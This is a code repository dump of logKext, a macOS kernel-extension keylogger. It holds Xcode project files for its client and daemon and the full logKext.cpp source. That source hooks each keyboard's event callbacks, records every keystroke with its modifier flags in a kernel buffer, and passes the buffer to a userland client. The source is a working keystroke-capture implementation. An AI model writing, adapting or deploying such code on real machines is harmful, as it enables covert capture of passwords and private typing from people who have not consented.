26 | runOnlyForDeploymentPostprocessing = 1;
27 | };
28 | /* End PBXCopyFilesBuildPhase section */
29 |
30 | /* Begin PBXFileReference section */
31 | 09AB6884FE841BABC02AAC07 /* CoreFoundation.framework */ = {isa = PBXFileReference; lastKnownFileType = wrapper.framework; name = CoreFoundation.framework; path = /System/Library/Frameworks/CoreFoundation.framework; sourceTree = ""; };
32 | 62E5F29018AFB80900BF83AE /* libcrypto.dylib */ = {isa = PBXFileReference; lastKnownFileType = "compiled.mach-o.dylib"; name = libcrypto.dylib; path = Platforms/MacOSX.platform/Developer/SDKs/MacOSX10.9.sdk/usr/lib/libcrypto.dylib; sourceTree = SYSTEM_DEVELOPER_DIR; };
33 | 8DD76F7E0486A8DE00D96B5E /* logKextClient */ = {isa = PBXFileReference; explicitFileType = "compiled.mach-o.executable"; includeInIndex = 0; path = logKextClient; sourceTree = BUILT_PRODUCTS_DIR; };
34 | F8610A0009284D26003C3B7F /* logKextClient.h */ = {isa = PBXFileReference; fileEncoding = 30; lastKnownFileType = sourcecode.c.h; path = logKextClient.h; sourceTree = ""; };
35 | F86CC3AD0D12DF940038E494 /* logKextCommon.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = logKextCommon.h; sourceTree = ""; };
36 | F890AC340D22FAE400A9C9B9 /* Security.framework */ = {isa = PBXFileReference; lastKnownFileType = wrapper.framework; name = Security.framework; path = /System/Library/Frameworks/Security.framework; sourceTree = ""; };
37 | F89F151F090DBF6B00543619 /* logKextClient.cpp */ = {isa = PBXFileReference; fileEncoding = 30; lastKnownFileType = sourcecode.cpp.cpp; path = logKextClient.cpp; sourceTree = ""; };
38 | /* End PBXFileReference section */
39 |
40 | /* Begin PBXFrameworksBuildPhase section */
41 | 8DD76F780486A8DE00D96B5E /* Frameworks */ = {
42 | isa = PBXFrameworksBuildPhase;
43 | buildActionMask = 2147483647;
44 | files = (
45 | 62E5F29118AFB80900BF83AE /* libcrypto.dylib in Frameworks */,
46 | 8DD76F790486A8DE00D96B5E /* CoreFoundation.framework in Frameworks */,
47 | F890AC350D22FAE400A9C9B9 /* Security.framework in Frameworks */,
48 | );
49 | runOnlyForDeploymentPostprocessing = 0;
50 | };
51 | /* End PBXFrameworksBuildPhase section */
52 |
53 | /* Begin PBXGroup section */
54 | 08FB7794FE84155DC02AAC07 /* logKextClient */ = {
55 | isa = PBXGroup;
56 | children = (
57 | 08FB7795FE84155DC02AAC07 /* Source */,
58 | C6859E96029091FE04C91782 /* Documentation */,
59 | 08FB779DFE84155DC02AAC07 /* External Frameworks and Libraries */,
60 | 19C28FBDFE9D53C911CA2CBB /* Products */,
61 | );
62 | name = logKextClient;
63 | sourceTree = "";
64 | };
65 | 08FB7795FE84155DC02AAC07 /* Source */ = {
66 | isa = PBXGroup;
67 | children = (
68 | F8610A0009284D26003C3B7F /* logKextClient.h */,
69 | F86CC3AD0D12DF940038E494 /* logKextCommon.h */,
70 | F89F151F090DBF6B00543619 /* logKextClient.cpp */,
71 | );
72 | name = Source;
73 | sourceTree = "";
74 | };
75 | 08FB779DFE84155DC02AAC07 /* External Frameworks and Libraries */ = {
76 | isa = PBXGroup;
77 | children = (
78 | 62E5F29018AFB80900BF83AE /* libcrypto.dylib */,
79 | F890AC340D22FAE400A9C9B9 /* Security.framework */,
80 | 09AB6884FE841BABC02AAC07 /* CoreFoundation.framework */,
81 | );
82 | name = "External Frameworks and Libraries";
83 | sourceTree = "";
84 | };
85 | 19C28FBDFE9D53C911CA2CBB /* Products */ = {
86 | isa = PBXGroup;
87 | children = (
88 | 8DD76F7E0486A8DE00D96B5E /* logKextClient */,
89 | );
90 | name = Products;
91 | sourceTree = "";
92 | };
93 | C6859E96029091FE04C91782 /* Documentation */ = {
94 | isa = PBXGroup;
95 | children = (
96 | );
97 | name = Documentation;
98 | sourceTree = "";
99 | };
100 | /* End PBXGroup section */
101 |
102 | /* Begin PBXNativeTarget section */
103 | 8DD76F740486A8DE00D96B5E /* logKextClient */ = {
104 | isa = PBXNativeTarget;
105 | buildConfigurationList = F861094709284004003C3B7F /* Build configuration list for PBXNativeTarget "logKextClient" */;
106 | buildPhases = (
107 | 8DD76F760486A8DE00D96B5E /* Sources */,
108 | 8DD76F780486A8DE00D96B5E /* Frameworks */,
109 | 8DD76F7B0486A8DE00D96B5E /* CopyFiles */,
110 | );
111 | buildRules = (
112 | );
113 | dependencies = (
114 | );
115 | name = logKextClient;
116 | productInstallPath = "$(HOME)/bin";
117 | productName = logKextClient;
118 | productReference = 8DD76F7E0486A8DE00D96B5E /* logKextClient */;
119 | productType = "com.apple.product-type.tool";
120 | };
121 | /* End PBXNativeTarget section */
122 |
123 | /* Begin PBXProject section */
124 | 08FB7793FE84155DC02AAC07 /* Project object */ = {
125 | isa = PBXProject;
126 | attributes = {
127 | };
128 | buildConfigurationList = F861094B09284004003C3B7F /* Build configuration list for PBXProject "logKextClient" */;
129 | compatibilityVersion = "Xcode 2.4";
130 | developmentRegion = English;
131 | hasScannedForEncodings = 1;
132 | knownRegions = (
133 | en,
134 | );
135 | mainGroup = 08FB7794FE84155DC02AAC07 /* logKextClient */;
136 | projectDirPath = "";
137 | projectRoot = "";
138 | targets = (
139 | 8DD76F740486A8DE00D96B5E /* logKextClient */,
140 | );
141 | };
142 | /* End PBXProject section */
143 |
144 | /* Begin PBXSourcesBuildPhase section */
145 | 8DD76F760486A8DE00D96B5E /* Sources */ = {
146 | isa = PBXSourcesBuildPhase;
147 | buildActionMask = 2147483647;
148 | files = (
149 | F89F1520090DBF6B00543619 /* logKextClient.cpp in Sources */,
150 | );
151 | runOnlyForDeploymentPostprocessing = 0;
152 | };
153 | /* End PBXSourcesBuildPhase section */
154 |
155 | /* Begin XCBuildConfiguration section */
156 | F861094809284004003C3B7F /* Development */ = {
157 | isa = XCBuildConfiguration;
158 | buildSettings = {
159 | COPY_PHASE_STRIP = NO;
160 | GCC_DYNAMIC_NO_PIC = NO;
161 | GCC_ENABLE_FIX_AND_CONTINUE = YES;
162 | GCC_GENERATE_DEBUGGING_SYMBOLS = YES;
163 | GCC_MODEL_TUNING = G5;
164 | GCC_OPTIMIZATION_LEVEL = 0;
165 | GCC_WARN_ABOUT_RETURN_TYPE = YES;
166 | GCC_WARN_UNUSED_VARIABLE = YES;
167 | INSTALL_PATH = "$(HOME)/bin";
168 | PREBINDING = NO;
169 | PRODUCT_NAME = logKextClient;
170 | SDKROOT = macosx;
171 | ZERO_LINK = YES;
172 | };
173 | name = Development;
174 | };
175 | F861094909284004003C3B7F /* Deployment */ = {
176 | isa = XCBuildConfiguration;
177 | buildSettings = {
178 | COPY_PHASE_STRIP = YES;
179 | GCC_ENABLE_FIX_AND_CONTINUE = NO;
180 | GCC_GENERATE_DEBUGGING_SYMBOLS = NO;
181 | GCC_MODEL_TUNING = G5;
182 | GCC_WARN_ABOUT_RETURN_TYPE = YES;
183 | GCC_WARN_UNUSED_VARIABLE = YES;
184 | INSTALL_PATH = "$(HOME)/bin";
185 | PREBINDING = NO;
186 | PRODUCT_NAME = logKextClient;
187 | SDKROOT = macosx;
188 | ZERO_LINK = NO;
189 | };
190 | name = Deployment;
191 | };
192 | F861094A09284004003C3B7F /* Default */ = {
193 | isa = XCBuildConfiguration;
194 | buildSettings = {
195 | GCC_GENERATE_DEBUGGING_SYMBOLS = NO;
196 | GCC_MODEL_TUNING = G5;
197 | GCC_WARN_ABOUT_RETURN_TYPE = YES;
198 | GCC_WARN_UNUSED_VARIABLE = YES;
199 | INSTALL_PATH = "$(HOME)/bin";
200 | PREBINDING = NO;
201 | PRODUCT_NAME = logKextClient;
202 | SDKROOT = macosx;
203 | };
204 | name = Default;
205 | };
206 | F861094C09284004003C3B7F /* Development */ = {
207 | isa = XCBuildConfiguration;
208 | buildSettings = {
209 | ARCHS = "$(ARCHS_STANDARD_32_64_BIT)";
210 | MACOSX_DEPLOYMENT_TARGET = 10.7;
211 | ONLY_ACTIVE_ARCH = YES;
212 | SDKROOT = macosx;
213 | };
214 | name = Development;
215 | };
216 | F861094D09284004003C3B7F /* Deployment */ = {
217 | isa = XCBuildConfiguration;
218 | buildSettings = {
219 | ARCHS = "$(ARCHS_STANDARD_32_64_BIT)";
220 | MACOSX_DEPLOYMENT_TARGET = 10.7;
221 | SDKROOT = macosx;
222 | };
223 | name = Deployment;
224 | };
225 | F861094E09284004003C3B7F /* Default */ = {
226 | isa = XCBuildConfiguration;
227 | buildSettings = {
228 | ARCHS = "$(ARCHS_STANDARD_32_64_BIT)";
229 | MACOSX_DEPLOYMENT_TARGET = 10.7;
230 | SDKROOT = macosx;
231 | };
232 | name = Default;
233 | };
234 | /* End XCBuildConfiguration section */
235 |
236 | /* Begin XCConfigurationList section */
237 | F861094709284004003C3B7F /* Build configuration list for PBXNativeTarget "logKextClient" */ = {
238 | isa = XCConfigurationList;
239 | buildConfigurations = (
240 | F861094809284004003C3B7F /* Development */,
241 | F861094909284004003C3B7F /* Deployment */,
242 | F861094A09284004003C3B7F /* Default */,
243 | );
244 | defaultConfigurationIsVisible = 0;
245 | defaultConfigurationName = Default;
246 | };
247 | F861094B09284004003C3B7F /* Build configuration list for PBXProject "logKextClient" */ = {
248 | isa = XCConfigurationList;
249 | buildConfigurations = (
250 | F861094C09284004003C3B7F /* Development */,
251 | F861094D09284004003C3B7F /* Deployment */,
252 | F861094E09284004003C3B7F /* Default */,
253 | );
254 | defaultConfigurationIsVisible = 0;
255 | defaultConfigurationName = Default;
256 | };
257 | /* End XCConfigurationList section */
258 | };
259 | rootObject = 08FB7793FE84155DC02AAC07 /* Project object */;
260 | }
261 |
--------------------------------------------------------------------------------
/logKext.cpp:
--------------------------------------------------------------------------------
1 | /*
2 | logKext.cpp
3 | logKext
4 |
5 | Copyright 2007 Braden Thomas
6 |
7 | Licensed under the Apache License, Version 2.0 (the "License");
8 | you may not use this file except in compliance with the License.
9 | You may obtain a copy of the License at
10 |
11 | http://www.apache.org/licenses/LICENSE-2.0
12 |
13 | Unless required by applicable law or agreed to in writing, software
14 | distributed under the License is distributed on an "AS IS" BASIS,
15 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
16 | See the License for the specific language governing permissions and
17 | limitations under the License.
18 | */
19 |
20 | #include "logKext.h"
21 | #include "logKextKeys.h"
22 |
23 | #include
24 |
25 | com_fsb_iokit_logKext *logService;
26 | KeyboardEventCallback origCallback;
27 | KeyboardSpecialEventCallback origSpecialCallback;
28 |
29 | #define super IOService
30 |
31 | OSDefineMetaClassAndStructors(com_fsb_iokit_logKext, IOService);
32 |
33 | bool com_fsb_iokit_logKext::termNotificationHandler(void *target,
34 | void *ref,
35 | IOService *newServ)
36 | {
37 | com_fsb_iokit_logKext* self = OSDynamicCast( com_fsb_iokit_logKext, (OSMetaClassBase*)target );
38 | if (!self)
39 | return false;
40 |
41 | #ifdef LK_DEBUG
42 | IOLog( "%s::Termination Notification handler called\n", self->getName() );
43 | #endif
44 |
45 | if (!self->loggedKeyboards)
46 | return false;
47 |
48 | IOHIKeyboard* keyboard = OSDynamicCast( IOHIKeyboard, newServ );
49 | if (!keyboard)
50 | return false;
51 |
52 | int index = self->loggedKeyboards->getNextIndexOfObject(keyboard,0);
53 | if (index>=0)
54 | {
55 | #ifdef LK_DEBUG
56 | IOLog( "%s::Removing keyboard %x\n", self->getName(),keyboard );
57 | #endif
58 |
59 | self->kextKeys--;
60 | self->loggedKeyboards->removeObject(index);
61 | }
62 | return true;
63 | }
64 |
65 |
66 | bool com_fsb_iokit_logKext::myNotificationHandler(void *target,
67 | void *ref,
68 | IOService *newServ)
69 | {
70 | com_fsb_iokit_logKext* self = OSDynamicCast( com_fsb_iokit_logKext, (OSMetaClassBase*)target );
71 | if (!self)
72 | return false;
73 |
74 | #ifdef LK_DEBUG
75 | IOLog( "%s::Notification handler called\n", self->getName() );
76 | #endif
77 |
78 | IOHIKeyboard* keyboard = OSDynamicCast( IOHIKeyboard, newServ );
79 | if (!keyboard)
80 | return false;
81 |
82 | if (!keyboard->_keyboardEventTarget)
83 | {
84 | #ifdef LK_DEBUG
85 | IOLog( "%s::No Keyboard event target\n", self->getName());
86 | #endif
87 |
88 | return false;
89 | }
90 | // event target must be IOHIDSystem
91 |
92 | IOService* targetServ = OSDynamicCast( IOService, keyboard->_keyboardEventTarget );
93 | if (targetServ)
94 | {
95 | #ifdef LK_DEBUG
96 | IOLog( "%s::Keyboard event target is %s\n", self->getName(), targetServ->getName());
97 | #endif
98 | }
99 |
100 | if (!keyboard->_keyboardEventTarget->metaCast("IOHIDSystem"))
101 | return false;
102 |
103 | // we have a valid keyboard to be logged
104 | #ifdef LK_DEBUG
105 | IOLog( "%s::Adding keyboard %x\n", self->getName(),keyboard );
106 | #endif
107 |
108 | int index = self->loggedKeyboards->getNextIndexOfObject(keyboard,0);
109 | if (index<0)
110 | {
111 | self->loggedKeyboards->setObject(keyboard);
112 | self->kextKeys++;
113 | }
114 |
115 | origCallback = (KeyboardEventCallback)keyboard->_keyboardEventAction; // save the original action
116 | keyboard->_keyboardEventAction = (KeyboardEventAction) logAction; // apply the new action
117 |
118 | origSpecialCallback = (KeyboardSpecialEventCallback)keyboard->_keyboardSpecialEventAction; // save the original action
119 | keyboard->_keyboardSpecialEventAction = (KeyboardSpecialEventAction) specialAction; // apply the new action
120 |
121 | return true;
122 | }
123 |
124 |
125 | bool com_fsb_iokit_logKext::start(IOService *provider)
126 | {
127 | #ifdef LK_DEBUG
128 | IOLog( "%s::Starting\n", getName() );
129 | #endif
130 |
131 | origCallback = NULL;
132 | origSpecialCallback = NULL;
133 | buffsize = 0;
134 | kextKeys = 0;
135 | notify = NULL;
136 | bool result = super::start(provider);
137 | logService = this;
138 |
139 | loggedKeyboards = new OSArray();
140 | loggedKeyboards->initWithCapacity(1);
141 |
142 | fMemBuf = (unsigned char*)IOMalloc(MAX_BUFF_SIZE); // allocate a buffer to store the characters
143 | if( !fMemBuf )
144 | return false;
145 |
146 | registerService(); // make us visible in the IORegistry for matching by IOServiceGetMatchingServices
147 |
148 | notifyTerm = addNotification(gIOTerminatedNotification,
149 | serviceMatching("IOHIKeyboard"),
150 | (IOServiceNotificationHandler) &com_fsb_iokit_logKext::termNotificationHandler,
151 | this, 0);
152 |
153 | if(!result) // if we failed for some reason
154 | {
155 | stop(provider); // call stop to clean up
156 | return false;
157 | }
158 |
159 | #ifdef LK_DEBUG
160 | IOLog( "%s::Successfully started\n", getName() );
161 | #endif
162 |
163 | return true;
164 | }
165 |
166 | void com_fsb_iokit_logKext::clearKeyboards()
167 | {
168 | #ifdef LK_DEBUG
169 | IOLog( "%s::Clear keyboards called with kextkeys %d!\n", getName(), kextKeys );
170 | #endif
171 |
172 | if (loggedKeyboards)
173 | {
174 | int arraySize = loggedKeyboards->getCount();
175 | for (int i=0; igetObject(0);
178 |
179 | if (origSpecialCallback)
180 | curKeyboard->_keyboardSpecialEventAction = (KeyboardSpecialEventAction)origSpecialCallback;
181 | if (origCallback)
182 | curKeyboard->_keyboardEventAction = (KeyboardEventAction)origCallback;
183 |
184 | loggedKeyboards->removeObject(0);
185 | kextKeys--;
186 | }
187 | }
188 | origSpecialCallback = NULL;
189 | origCallback = NULL;
190 | kextKeys=0;
191 | }
192 |
193 | void com_fsb_iokit_logKext::activate()
194 | {
195 |
196 | notify = addNotification(gIOPublishNotification,
197 | serviceMatching("IOHIKeyboard"),
198 | (IOServiceNotificationHandler) &com_fsb_iokit_logKext::myNotificationHandler,
199 | this, 0);
200 |
201 | #ifdef LK_DEBUG
202 | IOLog( "%s::Added notification for keyboard\n", getName() );
203 | #endif
204 |
205 | return;
206 | }
207 |
208 | void com_fsb_iokit_logKext::deactivate()
209 | {
210 | if (notify)
211 | notify->remove();
212 | notify = NULL;
213 |
214 | clearKeyboards();
215 |
216 | #ifdef LK_DEBUG
217 | IOLog( "%s::Removed notification for keyboard\n", getName() );
218 | #endif
219 | }
220 |
221 |
222 | void com_fsb_iokit_logKext::stop(IOService *provider)
223 | {
224 |
225 | if (notifyTerm)
226 | notifyTerm->remove();
227 |
228 | #ifdef LK_DEBUG
229 | IOLog( "%s::Stopping\n", getName() );
230 | #endif
231 |
232 | logService = NULL;
233 |
234 | deactivate();
235 |
236 | // clean up our IOMemoryDescriptor and buffer
237 | if(fMemBuf)
238 | {
239 | IOFree(fMemBuf, MAX_BUFF_SIZE);
240 | fMemBuf = NULL;
241 | }
242 |
243 | loggedKeyboards->release();
244 |
245 | super::stop(provider);
246 | }
247 |
248 | /*
249 | Methods called from userland via the user client:
250 | */
251 |
252 | IOReturn com_fsb_iokit_logKext::BuffandKeys( UInt32* size, UInt32* keys )
253 | {
254 | *size = buffsize;
255 | *keys = kextKeys;
256 |
257 | return kIOReturnSuccess;
258 | }
259 |
260 | IOReturn com_fsb_iokit_logKext::Buffer( bufferStruct* inStruct )
261 | {
262 | if(buffsize)
263 | {
264 | memcpy(inStruct->buffer, fMemBuf, buffsize);
265 | inStruct->bufLen = buffsize;
266 | buffsize = 0;
267 | }
268 | else
269 | inStruct->bufLen = 0;
270 |
271 | return kIOReturnSuccess;
272 | }
273 |
274 | void com_fsb_iokit_logKext::logStroke( unsigned key, unsigned flags, unsigned charCode )
275 | {
276 | /* changed to allow for dynamic key mappings:
277 | - Keys are transmitted to userspace as 2 byte half-words
278 | - The top 5 bits of the half-word indicate the flags
279 | the order from high to low is:
280 | case (Shift or Caps)
281 | ctrl
282 | alt
283 | cmd
284 | fn
285 | - The bottom 11 bits contain the key itself (2048 is plenty big)
286 | */
287 |
288 | u_int16_t keyData = key;
289 | keyData &= 0x07ff; // clear the top 5 bits
290 |
291 | if ((flags & CAPS_FLAG)||(flags & SHIFT_FLAG))
292 | keyData |= 0x8000;
293 |
294 | if (flags & CTRL_FLAG)
295 | keyData |= 0x4000;
296 |
297 | if (flags & ALT_FLAG)
298 | keyData |= 0x2000;
299 |
300 | if (flags & CMD_FLAG)
301 | keyData |= 0x1000;
302 |
303 | if (flags & FN_FLAG)
304 | keyData |= 0x0800;
305 |
306 | if (!buffsize)
307 | bzero(fMemBuf,MAX_BUFF_SIZE);
308 |
309 | #ifdef LK_DEBUG
310 | IOLog( "%s::Copying key %04x\n", getName(), keyData );
311 | #endif
312 |
313 | memcpy(fMemBuf+buffsize,&keyData,sizeof(keyData));
314 | buffsize+=sizeof(keyData);
315 |
316 | if (buffsize>(9*MAX_BUFF_SIZE/10))
317 | {
318 | #ifdef LK_DEBUG
319 | IOLog( "%s::Error: buffer overflow\n", getName() );
320 | #endif
321 |
322 | buffsize=0;
323 | }
324 |
325 | }
326 |
327 | void specialAction(OSObject * target,
328 | /* eventType */ unsigned eventType,
329 | /* flags */ unsigned flags,
330 | /* keyCode */ unsigned key,
331 | /* specialty */ unsigned flavor,
332 | /* source id */ UInt64 guid,
333 | /* repeat */ bool repeat,
334 | /* atTime */ AbsoluteTime ts,
335 | OSObject * sender,
336 | void * refcon __unused)
337 | {
338 | if ((eventType==NX_SYSDEFINED)&&(!flags)&&(key==NX_NOSPECIALKEY)) // only sign of a logout (also thrown when sleeping)
339 | logService->clearKeyboards();
340 |
341 | if (origSpecialCallback)
342 | (*origSpecialCallback)(target,eventType,flags,key,flavor,guid,repeat,ts,sender,0);
343 | }
344 |
345 |
346 | void logAction(OSObject * target,
347 | /* eventFlags */ unsigned eventType,
348 | /* flags */ unsigned flags,
349 | /* keyCode */ unsigned key,
350 | /* charCode */ unsigned charCode,
351 | /* charSet */ unsigned charSet,
352 | /* originalCharCode */ unsigned origCharCode,
353 | /* originalCharSet */ unsigned origCharSet,
354 | /* keyboardType */ unsigned keyboardType,
355 | /* repeat */ bool repeat,
356 | /* atTime */ AbsoluteTime ts,
357 | OSObject * sender,
358 | void * refcon __unused)
359 | {
360 | if ((eventType==NX_KEYDOWN)&&logService)
361 | logService->logStroke(key, flags, charCode);
362 | if (origCallback)
363 | (*origCallback)(target,eventType,flags,key,charCode,charSet,origCharCode,origCharSet,keyboardType,repeat,ts,sender,0);
364 | }
365 |
--------------------------------------------------------------------------------
/logKextDaemon.xcodeproj/project.pbxproj:
--------------------------------------------------------------------------------
1 | // !$*UTF8*$!
2 | {
3 | archiveVersion = 1;
4 | classes = {
5 | };
6 | objectVersion = 42;
7 | objects = {
8 |
9 | /* Begin PBXBuildFile section */
10 | 62E5F28F18AFB7F800BF83AE /* libcrypto.dylib in Frameworks */ = {isa = PBXBuildFile; fileRef = 62E5F28E18AFB7F800BF83AE /* libcrypto.dylib */; };
11 | F8C3DF670D366F28004CF3DE /* CoreFoundation.framework in Frameworks */ = {isa = PBXBuildFile; fileRef = F8C3DF660D366F28004CF3DE /* CoreFoundation.framework */; };
12 | F8C3DFE10D367C89004CF3DE /* SystemConfiguration.framework in Frameworks */ = {isa = PBXBuildFile; fileRef = F8C3DFE00D367C89004CF3DE /* SystemConfiguration.framework */; };
13 | F8D1916308EE2C0B00196CFE /* logKextDaemon.cpp in Sources */ = {isa = PBXBuildFile; fileRef = F8D1916208EE2C0B00196CFE /* logKextDaemon.cpp */; };
14 | F8D1916508EE2C3700196CFE /* IOKit.framework in Frameworks */ = {isa = PBXBuildFile; fileRef = F8D1916408EE2C3700196CFE /* IOKit.framework */; };
15 | F8D192B208EE31D900196CFE /* logKextDaemon.h in CopyFiles */ = {isa = PBXBuildFile; fileRef = F8D192B108EE31D900196CFE /* logKextDaemon.h */; };
16 | F8F174E70D18D31600E84B30 /* Security.framework in Frameworks */ = {isa = PBXBuildFile; fileRef = F8F174E60D18D31600E84B30 /* Security.framework */; };
17 | /* End PBXBuildFile section */
18 |
19 | /* Begin PBXCopyFilesBuildPhase section */
20 | 8DD76F7B0486A8DE00D96B5E /* CopyFiles */ = {
21 | isa = PBXCopyFilesBuildPhase;
22 | buildActionMask = 8;
23 | dstPath = /usr/share/man/man1/;
24 | dstSubfolderSpec = 0;
25 | files = (
26 | F8D192B208EE31D900196CFE /* logKextDaemon.h in CopyFiles */,
27 | );
28 | runOnlyForDeploymentPostprocessing = 1;
29 | };
30 | /* End PBXCopyFilesBuildPhase section */
31 |
32 | /* Begin PBXFileReference section */
33 | 62E5F28E18AFB7F800BF83AE /* libcrypto.dylib */ = {isa = PBXFileReference; lastKnownFileType = "compiled.mach-o.dylib"; name = libcrypto.dylib; path = Platforms/MacOSX.platform/Developer/SDKs/MacOSX10.9.sdk/usr/lib/libcrypto.dylib; sourceTree = SYSTEM_DEVELOPER_DIR; };
34 | 8DD76F7E0486A8DE00D96B5E /* logKextDaemon */ = {isa = PBXFileReference; explicitFileType = "compiled.mach-o.executable"; includeInIndex = 0; path = logKextDaemon; sourceTree = BUILT_PRODUCTS_DIR; };
35 | F86CC39D0D12DF6E0038E494 /* logKextCommon.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = logKextCommon.h; sourceTree = SOURCE_ROOT; };
36 | F8C3DF660D366F28004CF3DE /* CoreFoundation.framework */ = {isa = PBXFileReference; lastKnownFileType = wrapper.framework; name = CoreFoundation.framework; path = /System/Library/Frameworks/CoreFoundation.framework; sourceTree = ""; };
37 | F8C3DFE00D367C89004CF3DE /* SystemConfiguration.framework */ = {isa = PBXFileReference; lastKnownFileType = wrapper.framework; name = SystemConfiguration.framework; path = /System/Library/Frameworks/SystemConfiguration.framework; sourceTree = ""; };
38 | F8D1916208EE2C0B00196CFE /* logKextDaemon.cpp */ = {isa = PBXFileReference; fileEncoding = 30; lastKnownFileType = sourcecode.cpp.cpp; path = logKextDaemon.cpp; sourceTree = ""; };
39 | F8D1916408EE2C3700196CFE /* IOKit.framework */ = {isa = PBXFileReference; lastKnownFileType = wrapper.framework; name = IOKit.framework; path = /System/Library/Frameworks/IOKit.framework; sourceTree = ""; };
40 | F8D192B108EE31D900196CFE /* logKextDaemon.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = logKextDaemon.h; sourceTree = ""; };
41 | F8F174E60D18D31600E84B30 /* Security.framework */ = {isa = PBXFileReference; lastKnownFileType = wrapper.framework; name = Security.framework; path = /System/Library/Frameworks/Security.framework; sourceTree = ""; };
42 | /* End PBXFileReference section */
43 |
44 | /* Begin PBXFrameworksBuildPhase section */
45 | 8DD76F780486A8DE00D96B5E /* Frameworks */ = {
46 | isa = PBXFrameworksBuildPhase;
47 | buildActionMask = 2147483647;
48 | files = (
49 | 62E5F28F18AFB7F800BF83AE /* libcrypto.dylib in Frameworks */,
50 | F8D1916508EE2C3700196CFE /* IOKit.framework in Frameworks */,
51 | F8F174E70D18D31600E84B30 /* Security.framework in Frameworks */,
52 | F8C3DF670D366F28004CF3DE /* CoreFoundation.framework in Frameworks */,
53 | F8C3DFE10D367C89004CF3DE /* SystemConfiguration.framework in Frameworks */,
54 | );
55 | runOnlyForDeploymentPostprocessing = 0;
56 | };
57 | /* End PBXFrameworksBuildPhase section */
58 |
59 | /* Begin PBXGroup section */
60 | 08FB7794FE84155DC02AAC07 /* logKextDaemon */ = {
61 | isa = PBXGroup;
62 | children = (
63 | 08FB7795FE84155DC02AAC07 /* Source */,
64 | 08FB779DFE84155DC02AAC07 /* External Frameworks and Libraries */,
65 | 19C28FBDFE9D53C911CA2CBB /* Products */,
66 | );
67 | name = logKextDaemon;
68 | sourceTree = "";
69 | };
70 | 08FB7795FE84155DC02AAC07 /* Source */ = {
71 | isa = PBXGroup;
72 | children = (
73 | F8D192B108EE31D900196CFE /* logKextDaemon.h */,
74 | F86CC39D0D12DF6E0038E494 /* logKextCommon.h */,
75 | F8D1916208EE2C0B00196CFE /* logKextDaemon.cpp */,
76 | );
77 | name = Source;
78 | sourceTree = "";
79 | };
80 | 08FB779DFE84155DC02AAC07 /* External Frameworks and Libraries */ = {
81 | isa = PBXGroup;
82 | children = (
83 | 62E5F28E18AFB7F800BF83AE /* libcrypto.dylib */,
84 | F8C3DFE00D367C89004CF3DE /* SystemConfiguration.framework */,
85 | F8C3DF660D366F28004CF3DE /* CoreFoundation.framework */,
86 | F8F174E60D18D31600E84B30 /* Security.framework */,
87 | F8D1916408EE2C3700196CFE /* IOKit.framework */,
88 | );
89 | name = "External Frameworks and Libraries";
90 | sourceTree = "";
91 | };
92 | 19C28FBDFE9D53C911CA2CBB /* Products */ = {
93 | isa = PBXGroup;
94 | children = (
95 | 8DD76F7E0486A8DE00D96B5E /* logKextDaemon */,
96 | );
97 | name = Products;
98 | sourceTree = "";
99 | };
100 | /* End PBXGroup section */
101 |
102 | /* Begin PBXNativeTarget section */
103 | 8DD76F740486A8DE00D96B5E /* logKextDaemon */ = {
104 | isa = PBXNativeTarget;
105 | buildConfigurationList = F861092209283EBE003C3B7F /* Build configuration list for PBXNativeTarget "logKextDaemon" */;
106 | buildPhases = (
107 | 8DD76F760486A8DE00D96B5E /* Sources */,
108 | 8DD76F780486A8DE00D96B5E /* Frameworks */,
109 | 8DD76F7B0486A8DE00D96B5E /* CopyFiles */,
110 | );
111 | buildRules = (
112 | );
113 | dependencies = (
114 | );
115 | name = logKextDaemon;
116 | productInstallPath = "$(HOME)/bin";
117 | productName = logKextDaemon;
118 | productReference = 8DD76F7E0486A8DE00D96B5E /* logKextDaemon */;
119 | productType = "com.apple.product-type.tool";
120 | };
121 | /* End PBXNativeTarget section */
122 |
123 | /* Begin PBXProject section */
124 | 08FB7793FE84155DC02AAC07 /* Project object */ = {
125 | isa = PBXProject;
126 | attributes = {
127 | };
128 | buildConfigurationList = F861092609283EBE003C3B7F /* Build configuration list for PBXProject "logKextDaemon" */;
129 | compatibilityVersion = "Xcode 2.4";
130 | developmentRegion = English;
131 | hasScannedForEncodings = 1;
132 | knownRegions = (
133 | en,
134 | );
135 | mainGroup = 08FB7794FE84155DC02AAC07 /* logKextDaemon */;
136 | projectDirPath = "";
137 | projectRoot = "";
138 | targets = (
139 | 8DD76F740486A8DE00D96B5E /* logKextDaemon */,
140 | );
141 | };
142 | /* End PBXProject section */
143 |
144 | /* Begin PBXSourcesBuildPhase section */
145 | 8DD76F760486A8DE00D96B5E /* Sources */ = {
146 | isa = PBXSourcesBuildPhase;
147 | buildActionMask = 2147483647;
148 | files = (
149 | F8D1916308EE2C0B00196CFE /* logKextDaemon.cpp in Sources */,
150 | );
151 | runOnlyForDeploymentPostprocessing = 0;
152 | };
153 | /* End PBXSourcesBuildPhase section */
154 |
155 | /* Begin XCBuildConfiguration section */
156 | F861092309283EBE003C3B7F /* Development */ = {
157 | isa = XCBuildConfiguration;
158 | buildSettings = {
159 | COPY_PHASE_STRIP = NO;
160 | GCC_DYNAMIC_NO_PIC = NO;
161 | GCC_ENABLE_FIX_AND_CONTINUE = YES;
162 | GCC_GENERATE_DEBUGGING_SYMBOLS = YES;
163 | GCC_MODEL_TUNING = G5;
164 | GCC_OPTIMIZATION_LEVEL = 0;
165 | GCC_WARN_ABOUT_RETURN_TYPE = YES;
166 | GCC_WARN_UNUSED_VARIABLE = YES;
167 | INSTALL_PATH = "$(HOME)/bin";
168 | MACOSX_DEPLOYMENT_TARGET = 10.7;
169 | PREBINDING = NO;
170 | PRODUCT_NAME = logKextDaemon;
171 | SDKROOT = macosx;
172 | ZERO_LINK = YES;
173 | };
174 | name = Development;
175 | };
176 | F861092409283EBE003C3B7F /* Deployment */ = {
177 | isa = XCBuildConfiguration;
178 | buildSettings = {
179 | COPY_PHASE_STRIP = YES;
180 | GCC_ENABLE_FIX_AND_CONTINUE = NO;
181 | GCC_GENERATE_DEBUGGING_SYMBOLS = NO;
182 | GCC_MODEL_TUNING = G5;
183 | GCC_WARN_ABOUT_RETURN_TYPE = YES;
184 | GCC_WARN_UNUSED_VARIABLE = YES;
185 | INSTALL_PATH = "$(HOME)/bin";
